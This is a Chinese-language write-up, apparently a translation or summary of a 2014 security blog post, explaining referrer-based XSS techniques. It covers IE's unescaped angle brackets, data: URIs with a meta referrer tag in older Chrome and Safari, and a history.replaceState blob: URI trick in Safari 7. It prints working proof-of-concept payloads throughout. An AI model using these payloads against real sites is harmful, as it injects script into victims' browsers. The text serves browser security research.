from:http://masatokinugawa.l0.cm/2014/06/referrer-xss-part2.html
在开始第二部分之前,先简短的介绍一下第一部分。在第一部分当中笔者(MK)提到:
#1 由于IE不会对URL中的尖括号进行escape,所以我们可以通过构造这样的页面,来实现referrer XSS
页面地址:http://l0.cm/xss_referrer.html?<script>alert("1")</script>
<script>location='//victim.com'</script>
#2对于chrome版本<33,safari6,7(更低的版本未测试)我们可以使用下面的技巧来实现referrer XSS:
data:text/html,<meta name="referrer" content="always"><script>if(location.protocol!='data:'){alert(1)}else{location.href="http://vulnerabledoma.in/location/"}</script>
这里需要注意的是,只有在加上<meta name="referrer" content="always">时,data URI才会带有referrer。
在第二部分中,笔者又给我们带来的新的技巧(确认在safari7.0.4下有效)
<meta name="referrer" content="always"> <script> history.replaceState('','','blob:http://l0.cm/<script>alert(1)<\/script>'); location.href="http://vulnerabledoma.in/location/" </script>
当我们通过history.replaceState在URL的最前面加上blob URI时,发现blob URI并不会对路径以后的部分进行URL编码。但是此时还无法发送referrer。所以这里就需要我们使用上一次的技巧,在页面当中加上<meta name="referrer" content="always">,由于referrer会包含的是被我们替换掉的blob URI,且blob URI不会对path之后的部分进行URL编码,所以通过这种方法就可以实现safari下的referrer XSS了。
经测试,通过history.replaceState在URL前面加blob URI的方法,在chrome下也有效(不过不能拿来XSS)。此外chrome下还发现:
javascript:history.replaceState('','','filesystem:http://masatokinugawa.l0.cm/path')
也是可以的。由于对于这种操作要求域名必须是相同的,所以暂时还没有发现会有什么安全隐患。也许这种现象都是浏览器预期的效果吧。
留言评论(旧系统):